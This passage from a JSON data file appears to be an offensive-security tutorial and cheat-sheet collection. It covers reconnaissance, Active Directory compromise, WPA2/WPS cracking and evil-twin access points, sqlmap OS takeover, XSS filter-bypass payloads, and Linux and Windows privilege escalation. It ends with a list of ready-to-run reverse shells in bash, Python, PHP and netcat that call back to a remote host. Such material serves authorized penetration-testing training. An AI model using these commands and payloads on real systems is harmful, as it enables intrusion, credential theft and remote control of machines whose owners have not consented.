"explanation": "Gather basic domain information"
},
{
"step": 2,
"description": "Subdomain enumeration",
"commands": [
"theharvester -d target.com -b google",
"dnsrecon -d target.com"
],
"explanation": "Find subdomains and related hosts"
},
{
"step": 3,
"description": "Network scanning",
"commands": [
"nmap -sn target.com/24",
"nmap -sV -sC target.com"
],
"explanation": "Identify live hosts and services"
}
]
},
"web_application_basics": {
"objective": "Introduction to web application testing",
"tools_needed": [
"burpsuite",
"dirb",
"nikto"
],
"steps": [
{
"step": 1,
"description": "Setup proxy",
"actions": [
"Configure browser proxy to 127.0.0.1:8080",
"Install Burp CA certificate",
"Enable intercept"
]
},
{
"step": 2,
"description": "Directory enumeration",
"commands": [
"dirb http://target.com",
"gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt"
]
},
{
"step": 3,
"description": "Vulnerability scanning",
"commands": [
"nikto -h http://target.com"
]
}
]
}
},
"intermediate_tutorials": {
"active_directory_attack": {
"objective": "Compromise Active Directory environment",
"tools_needed": [
"responder",
"hashcat",
"bloodhound",
"mimikatz"
],
"phases": {
"enumeration": {
"tools": [
"bloodhound",
"ldapdomaindump",
"enum4linux"
],
"commands": [
"bloodhound-python -d domain.local -u user -p pass -c all",
"ldapdomaindump -u 'DOMAIN\\user' -p pass target"
]
},
"credential_harvesting": {
"tools": [
"responder",
"mitm6",
"ntlmrelayx"
],
"commands": [
"responder -I eth0 -wrf",
"mitm6 -d domain.local",
"ntlmrelayx.py -tf targets.txt -smb2support"
]
},
"exploitation": {
"tools": [
"psexec",
"wmiexec",
"evil-winrm"
],
"commands": [
"psexec.py domain/user:pass@target",
"wmiexec.py domain/user:pass@target",
"evil-winrm -i target -u user -p pass"
]
},
"persistence": {
"techniques": [
"Golden ticket creation",
"Silver ticket creation",
"ACL modification",
"Scheduled task creation"
]
}
}
},
"wireless_network_compromise": {
"objective": "Compromise WPA2 wireless network",
"tools_needed": [
"aircrack-ng",
"hashcat",
"bettercap"
],
"steps": [
{
"step": 1,
"description": "Enable monitor mode",
"commands": [
"airmon-ng check kill",
"airmon-ng start wlan0"
]
},
{
"step": 2,
"description": "Capture handshake",
"commands": [
"airodump-ng wlan0mon",
"airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
"aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon"
]
},
{
"step": 3,
"description": "Crack password",
"commands": [
"aircrack-ng -w wordlist.txt capture.cap",
"hashcat -m 2500 capture.hccapx wordlist.txt"
]
},
{
"step": 4,
"description": "Post-compromise",
"commands": [
"bettercap -iface wlan0",
"net.recon on",
"set arp.spoof.targets 192.168.1.0/24",
"arp.spoof on"
]
}
]
}
},
"advanced_tutorials": {
"apt_simulation": {
"objective": "Simulate Advanced Persistent Threat",
"phases": {
"initial_compromise": {
"techniques": [
"Spear phishing with malicious attachment",
"Watering hole attack",
"Supply chain compromise",
"Zero-day exploitation"
],
"tools": [
"metasploit",
"empire",
"cobalt_strike"
]
},
"establish_foothold": {
"techniques": [
"Install persistent backdoor",
"Create service/scheduled task",
"Registry modification",
"WMI event subscription"
]
},
"escalate_privileges": {
"techniques": [
"Kernel exploitation",
"Token manipulation",
"DLL hijacking",
"Unquoted service paths"
]
},
"internal_reconnaissance": {
"techniques": [
"Network scanning",
"Active Directory enumeration",
"Credential harvesting",
"Data discovery"
]
},
"lateral_movement": {
"techniques": [
"Pass-the-hash",
"Pass-the-ticket",
"Remote services",
"Tainted shared content"
]
},
"data_exfiltration": {
"techniques": [
"DNS tunneling",
"HTTPS exfiltration",
"Steganography",
"Cloud storage"
]
}
}
},
"red_team_infrastructure": {
"objective": "Build complete red team infrastructure",
"components": {
"redirectors": {
"purpose": "Hide C2 infrastructure",
"tools": [
"nginx",
"apache",
"socat"
],
"types": [
"HTTP",
"HTTPS",
"DNS"
]
},
"c2_servers": {
"frameworks": [
"cobalt_strike",
"empire",
"covenant",
"metasploit"
],
"considerations": [
"Domain fronting",
"Malleable profiles",
"Encryption",
"Beaconing intervals"
]
},
"phishing_infrastructure": {
"tools": [
"gophish",
"evilginx2",
"modlishka"
],
"components": [
"Mail server",
"Landing pages",
"Credential harvester",
"Payload delivery"
]
},
"persistence": {
"methods": [
"Domain registration",
"VPS providers",
"CDN services",
"Cloud services"
]
}
}
}
},
"specialized_scenarios": {
"iot_device_hacking": {
"objective": "Compromise IoT device",
"steps": [
{
"phase": "Reconnaissance",
"actions": [
"Identify device model",
"Search for default credentials",
"Check for known vulnerabilities",
"Analyze network traffic"
]
},
{
"phase": "Firmware analysis",
"tools": [
"binwalk",
"firmwalker",
"qemu"
],
"actions": [
"Extract firmware",
"Analyze file system",
"Search for hardcoded credentials",
"Identify binaries"
]
},
{
"phase": "Exploitation",
"techniques": [
"Command injection",
"Buffer overflow",
"Authentication bypass",
"Firmware modification"
]
}
]
},
"mobile_app_pentesting": {
"objective": "Security assessment of mobile application",
"android": {
"static_analysis": {
"tools": [
"jadx",
"apktool",
"mobsf"
],
"checks": [
"Hardcoded secrets",
"Insecure storage",
"Code obfuscation",
"Permission analysis"
]
},
"dynamic_analysis": {
"tools": [
"frida",
"objection",
"burpsuite"
],
"tests": [
"SSL pinning bypass",
"Root detection bypass",
"API testing",
"Runtime manipulation"
]
}
},
"ios": {
"requirements": [
"Jailbroken device",
"Xcode",
"iOS SDK"
],
"tools": [
"frida",
"objection",
"needle",
"cycript"
],
"tests": [
"Binary analysis",
"Keychain dumping",
"Runtime analysis",
"Network traffic analysis"
]
}
},
"cloud_penetration_testing": {
"aws": {
"tools": [
"pacu",
"scout_suite",
"prowler"
],
"methodology": [
"Enumerate public resources",
"Check S3 bucket permissions",
"Review IAM policies",
"Test Lambda functions",
"Analyze CloudTrail logs"
]
},
"azure": {
"tools": [
"azucar",
"scout_suite",
"microburst"
],
"targets": [
"Storage accounts",
"Key vaults",
"Virtual machines",
"Active Directory",
"Function apps"
]
},
"gcp": {
"tools": [
"scout_suite",
"gcp_scanner"
],
"focus_areas": [
"Cloud Storage buckets",
"Compute instances",
"IAM bindings",
"Cloud Functions",
"BigQuery datasets"
]
}
}
}
}
},
"tutorials": {
"comprehensive_tutorials.json": {
"metadata": {
"collection_date": "2025-08-23T15:13:22.853225",
"description": "Detailed tutorials and practical usage scenarios for security tools",
"total_tutorials": 7,
"difficulty_levels": [
"beginner",
"intermediate",
"advanced",
"expert"
]
},
"network_scanning_tutorials": {
"nmap_mastery": {
"title": "Complete Nmap Mastery Guide",
"difficulty": "beginner_to_advanced",
"estimated_time": "2-3 hours",
"prerequisites": [
"Basic networking knowledge",
"Linux command line"
],
"sections": {
"basic_scanning": {
"description": "Fundamental Nmap scanning techniques",
"tutorials": [
{
"name": "Host Discovery",
"objective": "Find live hosts on a network",
"commands": [
{
"command": "nmap -sn 192.168.1.0/24",
"description": "Ping sweep to find live hosts",
"when_to_use": "Initial network reconnaissance"
},
{
"command": "nmap -sn -PS21,22,25,80,443 192.168.1.0/24",
"description": "TCP SYN ping on specific ports",
"when_to_use": "When ICMP is blocked"
},
{
"command": "nmap -sn -PA80,443 192.168.1.0/24",
"description": "TCP ACK ping",
"when_to_use": "Bypass stateless firewalls"
}
],
"tips": [
"Use -sn for host discovery without port scanning",
"Combine multiple ping types for better results",
"Use --reason to understand why hosts are up/down"
]
},
{
"name": "Port Scanning Techniques",
"objective": "Identify open ports and services",
"commands": [
{
"command": "nmap -sS target",
"description": "TCP SYN scan (stealth scan)",
"when_to_use": "Default choice for TCP scanning"
},
{
"command": "nmap -sT target",
"description": "TCP connect scan",
"when_to_use": "When you don't have raw packet privileges"
},
{
"command": "nmap -sU target",
"description": "UDP scan",
"when_to_use": "Find UDP services (DNS, SNMP, DHCP)"
},
{
"command": "nmap -sA target",
"description": "TCP ACK scan",
"when_to_use": "Map firewall rules"
}
],
"advanced_options": [
"-p- : Scan all 65535 ports",
"-p 80,443,8080-8090 : Specific ports",
"--top-ports 1000 : Most common 1000 ports",
"-F : Fast scan (100 most common ports)"
]
}
]
},
"service_detection": {
"description": "Identifying services and versions",
"tutorials": [
{
"name": "Version Detection",
"commands": [
{
"command": "nmap -sV target",
"description": "Basic version detection",
"options": [
"--version-intensity 9 : Most aggressive",
"--version-light : Faster, less accurate",
"--version-all : Try every probe"
]
},
{
"command": "nmap -sC target",
"description": "Default script scan",
"info": "Runs safe, useful scripts"
},
{
"command": "nmap -A target",
"description": "Aggressive scan",
"includes": [
"OS detection",
"Version detection",
"Script scanning",
"Traceroute"
]
}
]
}
]
},
"nse_scripting": {
"description": "Nmap Scripting Engine usage",
"categories": [
"auth: Authentication related",
"broadcast: Network broadcast scripts",
"brute: Brute force attacks",
"default: Default safe scripts",
"discovery: Service discovery",
"dos: Denial of service",
"exploit: Exploitation scripts",
"fuzzer: Fuzzing scripts",
"intrusive: Likely to affect target",
"malware: Malware detection",
"safe: Safe to run",
"version: Version detection",
"vuln: Vulnerability detection"
],
"examples": [
{
"command": "nmap --script vuln target",
"description": "Run all vulnerability scripts"
},
{
"command": "nmap --script 'http-*' target",
"description": "Run all HTTP scripts"
},
{
"command": "nmap --script smb-enum-shares,smb-enum-users target",
"description": "SMB enumeration"
},
{
"command": "nmap --script http-title,http-headers target",
"description": "Web server information"
}
]
},
"evasion_techniques": {
"description": "Avoiding detection",
"techniques": [
{
"name": "Timing and Performance",
"options": [
"-T0: Paranoid (5 min between probes)",
"-T1: Sneaky (15 sec between probes)",
"-T2: Polite (0.4 sec between probes)",
"-T3: Normal (default)",
"-T4: Aggressive",
"-T5: Insane"
],
"custom_timing": [
"--scan-delay 5s : Wait 5 seconds between probes",
"--max-retries 3 : Limit probe retransmissions",
"--host-timeout 30m : Give up on host after 30 min"
]
},
{
"name": "Fragmentation and Decoys",
"commands": [
{
"command": "nmap -f target",
"description": "Fragment packets"
},
{
"command": "nmap -D RND:10 target",
"description": "Use 10 random decoys"
},
{
"command": "nmap -S 192.168.1.100 -e eth0 target",
"description": "Spoof source address"
}
]
}
]
}
}
},
"masscan_speed_scanning": {
"title": "High-Speed Scanning with Masscan",
"difficulty": "intermediate",
"description": "Internet-scale port scanning",
"tutorials": [
{
"name": "Basic Masscan Usage",
"commands": [
{
"command": "masscan -p80,443 192.168.1.0/24 --rate=1000",
"description": "Scan web ports at 1000 packets/sec"
},
{
"command": "masscan -p0-65535 target --rate=100000",
"description": "Full port scan at high speed"
},
{
"command": "masscan -p80 0.0.0.0/0 --excludefile exclude.txt",
"description": "Internet-wide scan with exclusions"
}
],
"output_formats": [
"-oX output.xml : XML output",
"-oJ output.json : JSON output",
"-oL output.list : Simple list format"
],
"best_practices": [
"Start with low rates and increase gradually",
"Use exclusion lists for sensitive ranges",
"Monitor bandwidth usage",
"Combine with Nmap for detailed scanning"
]
}
]
}
},
"web_application_testing": {
"burp_suite_complete": {
"title": "Burp Suite Professional Techniques",
"difficulty": "intermediate_to_advanced",
"modules": {
"proxy_configuration": {
"description": "Setting up Burp proxy",
"steps": [
{
"step": 1,
"action": "Configure browser proxy",
"details": [
"Set HTTP proxy to 127.0.0.1:8080",
"Install Burp CA certificate",
"Configure for HTTPS interception"
]
},
{
"step": 2,
"action": "Configure scope",
"details": [
"Add target to scope",
"Set scope advanced options",
"Configure out-of-scope items"
]
}
]
},
"scanner_configuration": {
"description": "Automated scanning setup",
"scan_types": [
{
"type": "Crawl and audit",
"when": "Complete application assessment",
"configuration": [
"Set crawl limits",
"Configure authentication",
"Select audit checks"
]
},
{
"type": "Audit selected items",
"when": "Testing specific functionality",
"configuration": [
"Select from proxy history",
"Choose insertion points",
"Configure audit checks"
]
}
]
},
"intruder_attacks": {
"description": "Fuzzing with Intruder",
"attack_types": [
{
"name": "Sniper",
"description": "Single payload position",
"use_case": "Testing individual parameters"
},
{
"name": "Battering ram",
"description": "Same payload in all positions",
"use_case": "Testing with same value everywhere"
},
{
"name": "Pitchfork",
"description": "Parallel payloads",
"use_case": "Testing username/password pairs"
},
{
"name": "Cluster bomb",
"description": "All combinations",
"use_case": "Testing all parameter combinations"
}
],
"payload_types": [
"Simple list",
"Runtime file",
"Numbers",
"Dates",
"Brute forcer",
"Null payloads",
"Character substitution",
"Recursive grep",
"Extension-generated"
]
},
"advanced_techniques": {
"session_handling": {
"description": "Managing complex sessions",
"rules": [
"Check session validity",
"Update session tokens",
"Handle CSRF tokens",
"Manage multi-step processes"
]
},
"macro_recording": {
"description": "Automating multi-step processes",
"use_cases": [
"Login sequences",
"CSRF token refresh",
"Complex workflows",
"State management"
]
},
"collaborator": {
"description": "Out-of-band testing",
"techniques": [
"Blind XSS detection",
"SSRF detection",
"XXE with OOB",
"DNS interaction testing"
]
}
}
}
},
"sqlmap_exploitation": {
"title": "Advanced SQL Injection with SQLMap",
"difficulty": "intermediate",
"scenarios": {
"basic_detection": {
"description": "Finding SQL injection points",
"commands": [
{
"command": "sqlmap -u 'http://target.com/page?id=1' --batch",
"description": "Automatic detection with default options"
},
{
"command": "sqlmap -r request.txt --batch",
"description": "Test from saved request"
},
{
"command": "sqlmap -u URL --data='user=admin&pass=admin' --method=POST",
"description": "POST parameter testing"
}
]
},
"database_enumeration": {
"description": "Extracting database information",
"progression": [
{
"step": "List databases",
"command": "sqlmap -u URL --dbs"
},
{
"step": "List tables",
"command": "sqlmap -u URL -D database --tables"
},
{
"step": "List columns",
"command": "sqlmap -u URL -D database -T table --columns"
},
{
"step": "Dump data",
"command": "sqlmap -u URL -D database -T table --dump"
}
]
},
"advanced_techniques": {
"blind_injection": {
"description": "Time-based and boolean-based blind SQL injection",
"options": [
"--technique=B : Boolean-based blind",
"--technique=T : Time-based blind",
"--time-sec=5 : Time delay for time-based"
]
},
"waf_bypass": {
"description": "Bypassing Web Application Firewalls",
"techniques": [
"--tamper=space2comment : Replace spaces with comments",
"--tamper=between : Replace > with BETWEEN",
"--tamper=randomcase : Random case",
"--random-agent : Random User-Agent"
]
},
"os_takeover": {
"description": "Operating system command execution",
"commands": [
"--os-cmd='whoami' : Execute OS command",
"--os-shell : Interactive OS shell",
"--os-pwn : Prompt for OOB shell",
"--priv-esc : Database process privilege escalation"
]
}
}
}
},
"xss_exploitation": {
"title": "Cross-Site Scripting Mastery",
"difficulty": "intermediate",
"types": {
"reflected_xss": {
"description": "Non-persistent XSS attacks",
"payloads": [
{
"basic": "<script>alert(1)</script>",
"when": "No filtering"
},
{
"img_tag": "<img src=x onerror=alert(1)>",
"when": "Script tags blocked"
},
{
"event_handler": "<body onload=alert(1)>",
"when": "In HTML context"
}
],
"advanced_payloads": [
"SVG-based: <svg onload=alert(1)>",
"Data URI: <object data='data:text/html,<script>alert(1)</script>'>",
"JavaScript URI: <a href='javascript:alert(1)'>Click</a>"
]
},
"stored_xss": {
"description": "Persistent XSS attacks",
"locations": [
"Comment sections",
"User profiles",
"Forum posts",
"Support tickets",
"File uploads"
],
"persistence_techniques": [
"Polyglot payloads",
"Filter bypass chains",
"Encoding variations",
"Browser-specific payloads"
]
},
"dom_xss": {
"description": "DOM-based XSS",
"sources": [
"location.search",
"location.hash",
"document.referrer",
"document.cookie",
"window.name"
],
"sinks": [
"innerHTML",
"document.write",
"eval()",
"setTimeout/setInterval",
"location.href"
]
},
"filter_bypass": {
"description": "Bypassing XSS filters",
"techniques": [
{
"name": "Encoding",
"examples": [
"HTML: <script>",
"URL: %3Cscript%3E",
"Unicode: \\u003cscript\\u003e",
"Base64: PHNjcmlwdD4="
]
},
{
"name": "Case variations",
"examples": [
"<ScRiPt>alert(1)</ScRiPt>",
"<SCRIPT>alert(1)</SCRIPT>"
]
},
{
"name": "Tag breaking",
"examples": [
"<scr<script>ipt>alert(1)</scr</script>ipt>",
"<<script>script>alert(1)<</script>/script>"
]
}
]
}
}
}
},
"privilege_escalation": {
"linux_privesc": {
"title": "Linux Privilege Escalation Techniques",
"difficulty": "intermediate_to_advanced",
"enumeration": {
"manual_enumeration": {
"description": "Manual system enumeration",
"commands": [
{
"category": "System Information",
"commands": [
"uname -a",
"cat /etc/issue",
"cat /proc/version",
"hostname",
"lscpu"
]
},
{
"category": "User Information",
"commands": [
"whoami",
"id",
"sudo -l",
"cat /etc/passwd",
"cat /etc/group",
"history"
]
},
{
"category": "Network Information",
"commands": [
"ifconfig",
"ip a",
"netstat -tulpn",
"ss -tulpn",
"cat /etc/hosts"
]
},
{
"category": "Process Information",
"commands": [
"ps aux",
"ps -ef",
"top",
"cat /proc/*/cmdline"
]
}
]
},
"automated_tools": {
"description": "Automated enumeration scripts",
"tools": [
{
"name": "LinPEAS",
"download": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh",
"usage": "bash linpeas.sh",
"features": [
"Color-coded output",
"Comprehensive checks",
"CVE suggestions"
]
},
{
"name": "LinEnum",
"usage": "bash linenum.sh -t",
"features": [
"Thorough enumeration",
"Report generation"
]
},
{
"name": "Linux Exploit Suggester",
"usage": "bash linux-exploit-suggester.sh",
"features": [
"Kernel exploit suggestions",
"CVE matching"
]
}
]
}
},
"exploitation_techniques": {
"sudo_misconfigurations": {
"description": "Exploiting sudo permissions",
"techniques": [
{
"name": "sudo -l exploitation",
"examples": [
"sudo vim -c ':!/bin/bash'",
"sudo less /etc/passwd then !bash",
"sudo find . -exec /bin/bash \\;",
"sudo nmap --interactive then !sh"
]
},
{
"name": "LD_PRELOAD",
"condition": "env_keep+=LD_PRELOAD",
"exploit": "Create malicious shared library"
}
]
},
"suid_binaries": {
"description": "Exploiting SUID binaries",
"discovery": "find / -perm -u=s -type f 2>/dev/null",
"exploitation": [
{
"binary": "find",
"command": "find . -exec /bin/sh -p \\;"
},
{
"binary": "vim",
"command": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
},
{
"binary": "bash",
"command": "bash -p"
}
]
},
"capabilities": {
"description": "Exploiting Linux capabilities",
"discovery": "getcap -r / 2>/dev/null",
"exploitation": [
{
"capability": "cap_setuid",
"exploit": "Python script to setuid(0)"
},
{
"capability": "cap_dac_read_search",
"exploit": "Read any file on system"
}
]
},
"kernel_exploits": {
"description": "Kernel vulnerability exploitation",
"common_exploits": [
{
"name": "DirtyCOW",
"versions": "Linux Kernel 2.6.22 < 3.9",
"cve": "CVE-2016-5195"
},
{
"name": "DirtyPipe",
"versions": "Linux Kernel 5.8 - 5.16.11",
"cve": "CVE-2022-0847"
}
]
}
}
},
"windows_privesc": {
"title": "Windows Privilege Escalation Mastery",
"difficulty": "intermediate_to_advanced",
"enumeration": {
"system_enumeration": {
"commands": [
"systeminfo",
"hostname",
"whoami /all",
"net users",
"net localgroup administrators",
"netstat -ano",
"schtasks /query /fo LIST /v",
"wmic qfe get Caption,Description,HotFixID,InstalledOn"
]
},
"automated_tools": [
{
"name": "WinPEAS",
"usage": "winpeas.exe",
"features": [
"Color output",
"Comprehensive checks",
"Suggested exploits"
]
},
{
"name": "PowerUp",
"usage": "powershell -ep bypass -c \". .\\PowerUp.ps1; Invoke-AllChecks\"",
"features": [
"Service misconfigurations",
"Registry checks",
"Scheduled tasks"
]
},
{
"name": "Seatbelt",
"usage": "Seatbelt.exe -group=all",
"features": [
"Defensive checks",
"Credential hunting",
"System information"
]
}
]
},
"exploitation_techniques": {
"service_exploits": {
"unquoted_paths": {
"description": "Unquoted service path exploitation",
"discovery": "wmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\\\" | findstr /i /v \"\"\"",
"exploitation": "Place malicious executable in path"
},
"weak_permissions": {
"description": "Weak service permissions",
"discovery": "accesschk.exe -uwcqv \"Everyone\" *",
"exploitation": "sc config [service] binpath= \"C:\\temp\\reverse.exe\""
},
"dll_hijacking": {
"description": "DLL hijacking in services",
"discovery": "Process Monitor to find missing DLLs",
"exploitation": "Place malicious DLL in search path"
}
},
"registry_exploits": {
"autorun": {
"description": "Autorun registry exploitation",
"locations": [
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
]
},
"alwaysinstallelevated": {
"description": "AlwaysInstallElevated exploitation",
"check": "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated",
"exploit": "msiexec /quiet /qn /i malicious.msi"
}
},
"token_manipulation": {
"techniques": [
{
"name": "Token Impersonation",
"tools": [
"Incognito",
"Metasploit"
],
"commands": [
"list_tokens -u",
"impersonate_token DOMAIN\\\\User"
]
},
{
"name": "Pass the Hash",
"tools": [
"mimikatz",
"psexec"
],
"usage": "sekurlsa::pth /user:admin /domain:target /ntlm:hash"
}
]
}
}
}
},
"wireless_hacking": {
"wifi_complete_guide": {
"title": "Complete WiFi Hacking Guide",
"difficulty": "intermediate",
"wep_cracking": {
"description": "Breaking WEP encryption",
"steps": [
{
"step": 1,
"action": "Start monitor mode",
"command": "airmon-ng start wlan0"
},
{
"step": 2,
"action": "Capture IVs",
"command": "airodump-ng -c [channel] --bssid [bssid] -w capture wlan0mon"
},
{
"step": 3,
"action": "Generate traffic",
"command": "aireplay-ng -3 -b [bssid] -h [client_mac] wlan0mon"
},
{
"step": 4,
"action": "Crack key",
"command": "aircrack-ng -b [bssid] capture*.cap"
}
]
},
"wpa_wpa2_cracking": {
"description": "Breaking WPA/WPA2 encryption",
"methods": {
"handshake_capture": {
"steps": [
{
"step": 1,
"action": "Monitor target network",
"command": "airodump-ng -c [channel] --bssid [bssid] -w capture wlan0mon"
},
{
"step": 2,
"action": "Deauthenticate client",
"command": "aireplay-ng -0 10 -a [bssid] -c [client] wlan0mon"
},
{
"step": 3,
"action": "Crack with wordlist",
"command": "aircrack-ng -w wordlist.txt -b [bssid] capture*.cap"
},
{
"step": 4,
"action": "GPU cracking",
"command": "hashcat -m 2500 capture.hccapx wordlist.txt"
}
]
},
"pmkid_attack": {
"description": "PMKID clientless attack",
"steps": [
{
"step": 1,
"action": "Capture PMKID",
"command": "hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1"
},
{
"step": 2,
"action": "Extract PMKID",
"command": "hcxpcaptool -z pmkid.16800 capture.pcapng"
},
{
"step": 3,
"action": "Crack PMKID",
"command": "hashcat -m 16800 pmkid.16800 wordlist.txt"
}
]
}
}
},
"wps_attacks": {
"description": "WPS vulnerability exploitation",
"pixie_dust": {
"description": "Pixie Dust attack",
"command": "reaver -i wlan0mon -b [bssid] -c [channel] -K 1 -vv",
"success_rate": "Works on vulnerable routers in seconds"
},
"brute_force": {
"description": "WPS PIN brute force",
"command": "reaver -i wlan0mon -b [bssid] -c [channel] -vv",
"time": "4-10 hours average"
}
},
"evil_twin_attacks": {
"description": "Creating fake access points",
"tools": [
"hostapd",
"dnsmasq",
"apache2"
],
"steps": [
{
"step": 1,
"action": "Create fake AP",
"config": "Configure hostapd.conf with target SSID"
},
{
"step": 2,
"action": "Setup DHCP",
"config": "Configure dnsmasq for IP assignment"
},
{
"step": 3,
"action": "Create captive portal",
"config": "Setup web server with fake login page"
},
{
"step": 4,
"action": "Deauth legitimate clients",
"command": "aireplay-ng -0 0 -a [legitimate_ap] wlan0mon"
}
]
}
}
},
"mobile_app_testing": {
"android_pentesting": {
"title": "Android Application Security Testing",
"difficulty": "intermediate_to_advanced",
"setup": {
"environment": {
"requirements": [
"Android device/emulator",
"ADB installed",
"Burp Suite configured",
"Frida server installed"
],
"adb_commands": [
"adb devices",
"adb shell",
"adb install app.apk",
"adb pull /data/data/com.app/",
"adb logcat"
]
}
},
"static_analysis": {
"decompilation": {
"tools": [
"jadx",
"apktool",
"dex2jar"
],
"process": [
{
"step": 1,
"tool": "apktool",
"command": "apktool d app.apk",
"purpose": "Extract resources and smali code"
},
{
"step": 2,
"tool": "jadx",
"command": "jadx app.apk",
"purpose": "Decompile to Java source"
},
{
"step": 3,
"tool": "dex2jar",
"command": "d2j-dex2jar app.apk",
"purpose": "Convert to jar for analysis"
}
]
},
"security_checks": [
"Hardcoded credentials",
"API keys in code",
"Insecure data storage",
"Weak cryptography",
"Logging sensitive data",
"Exported components",
"Permission analysis"
]
},
"dynamic_analysis": {
"frida_hooking": {
"description": "Runtime manipulation with Frida",
"common_scripts": [
{
"name": "SSL Pinning Bypass",
"script": "frida --codeshare akabe1/frida-multiple-unpinning -U -f com.app"
},
{
"name": "Root Detection Bypass",
"script": "frida --codeshare dzonerzy/fridantiroot -U -f com.app"
},
{
"name": "Method Tracing",
"script": "frida-trace -U -f com.app -j '*!*onCreate*/isu'"
}
]
},
"network_interception": {
"proxy_setup": [
"Configure device proxy to Burp",
"Install Burp CA certificate",
"Handle certificate pinning"
],
"testing_areas": [
"API endpoint security",
"Authentication flow",
"Session management",
"Data transmission encryption",
"Input validation"
]
}
}
},
"ios_pentesting": {
"title": "iOS Application Security Testing",
"difficulty": "advanced",
"requirements": [
"Jailbroken iOS device",
"Cydia installed",
"SSH access",
"Frida/Cycript"
],
"static_analysis": {
"binary_analysis": [
{
"tool": "otool",
"usage": "otool -L app.app/app",
"purpose": "List shared libraries"
},
{
"tool": "class-dump",
"usage": "class-dump app.app",
"purpose": "Extract class information"
},
{
"tool": "Hopper/IDA",
"purpose": "Disassembly and analysis"
}
]
},
"dynamic_analysis": {
"runtime_manipulation": [
{
"tool": "Cycript",
"usage": "cycript -p AppName",
"capabilities": "Runtime inspection and modification"
},
{
"tool": "Frida",
"usage": "frida -U -n AppName -l script.js",
"capabilities": "Method hooking and bypass"
}
],
"common_tests": [
"Jailbreak detection bypass",
"SSL pinning bypass",
"Keychain dumping",
"Method swizzling",
"Binary patching"
]
}
}
},
"cloud_security": {
"aws_pentesting": {
"title": "AWS Security Assessment",
"difficulty": "advanced",
"reconnaissance": {
"passive": {
"techniques": [
"DNS enumeration for S3 buckets",
"GitHub searching for AWS keys",
"Google dorking for exposed resources",
"Certificate transparency logs"
]
},
"active": {
"tools": [
"aws-cli",
"pacu",
"scout_suite"
],
"enumeration": [
{
"service": "S3",
"commands": [
"aws s3 ls",
"aws s3api list-buckets",
"aws s3api get-bucket-acl --bucket name"
]
},
{
"service": "EC2",
"commands": [
"aws ec2 describe-instances",
"aws ec2 describe-security-groups",
"aws ec2 describe-snapshots"
]
},
{
"service": "IAM",
"commands": [
"aws iam list-users",
"aws iam list-roles",
"aws iam get-account-authorization-details"
]
}
]
}
},
"exploitation": {
"common_attacks": [
{
"name": "S3 Bucket Takeover",
"conditions": "Misconfigured bucket permissions",
"impact": "Data exposure or modification"
},
{
"name": "SSRF to Metadata Service",
"target": "http://169.254.169.254/",
"impact": "Credential extraction"
},
{
"name": "Lambda Function Exploitation",
"vector": "Code injection or privilege escalation",
"impact": "Code execution in AWS environment"
}
]
},
"post_exploitation": {
"persistence": [
"Create new IAM users",
"Modify existing roles",
"Deploy Lambda backdoors",
"Modify CloudFormation templates"
],
"lateral_movement": [
"AssumeRole across accounts",
"Cross-service exploitation",
"VPC peering exploitation",
"Systems Manager abuse"
]
}
}
},
"reverse_engineering": {
"binary_analysis": {
"title": "Binary Reverse Engineering",
"difficulty": "advanced",
"static_analysis": {
"tools": {
"ghidra": {
"description": "NSA reverse engineering tool",
"features": [
"Decompilation",
"Cross-references",
"Function graphs",
"Scripting support"
],
"workflow": [
"Import binary",
"Run auto-analysis",
"Identify main function",
"Follow execution flow",
"Rename functions/variables"
]
},
"ida_pro": {
"description": "Industry standard disassembler",
"features": [
"Advanced decompilation",
"Debugging capabilities",
"Plugin ecosystem",
"Signature matching"
]
},
"radare2": {
"description": "Open source RE framework",
"commands": [
"r2 -A binary : Analyze",
"afl : List functions",
"pdf @ main : Disassemble main",
"VV : Visual mode",
"s sym.main : Seek to main"
]
}
}
},
"dynamic_analysis": {
"debugging": {
"gdb_enhanced": [
{
"tool": "GEF",
"features": [
"Enhanced display",
"Heap analysis",
"Pattern generation"
]
},
{
"tool": "pwndbg",
"features": [
"Exploit development",
"ROP gadgets",
"Memory examination"
]
}
],
"techniques": [
"Breakpoint analysis",
"Step-through execution",
"Memory examination",
"Register manipulation",
"Call stack analysis"
]
}
}
},
"malware_analysis": {
"title": "Malware Analysis Techniques",
"difficulty": "expert",
"safe_environment": {
"setup": [
"Isolated VM environment",
"Network isolation",
"Snapshot before analysis",
"Monitoring tools ready"
]
},
"static_analysis": {
"steps": [
"File identification (file, strings)",
"Hash calculation (md5, sha256)",
"PE header analysis",
"Import/Export analysis",
"String extraction",
"Packer detection"
]
},
"dynamic_analysis": {
"behavioral_monitoring": [
"Process creation",
"Registry modifications",
"File system changes",
"Network connections",
"API calls"
],
"tools": [
"Process Monitor",
"Process Explorer",
"Wireshark",
"API Monitor",
"Cuckoo Sandbox"
]
}
}
}
},
"quick_reference.json": {
"command_cheatsheets": {
"reconnaissance": {
"dns": [
"dig domain.com ANY",
"host -t ns domain.com",
"dnsrecon -d domain.com",
"dnsenum domain.com",
"fierce --domain domain.com"
],
"subdomain": [
"sublist3r -d domain.com",
"amass enum -d domain.com",
"gobuster dns -d domain.com -w wordlist.txt",
"ffuf -w wordlist.txt -u http://FUZZ.domain.com"
],
"port_scanning": [
"nmap -sS -sV -O target",
"masscan -p1-65535 target --rate=1000",
"unicornscan target:1-65535",
"rustscan -a target"
]
},
"exploitation": {
"reverse_shells": {
"bash": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
"python": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
"php": "php -r '$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
"netcat": "nc -e /bin/sh 10.0.0.1 4444",
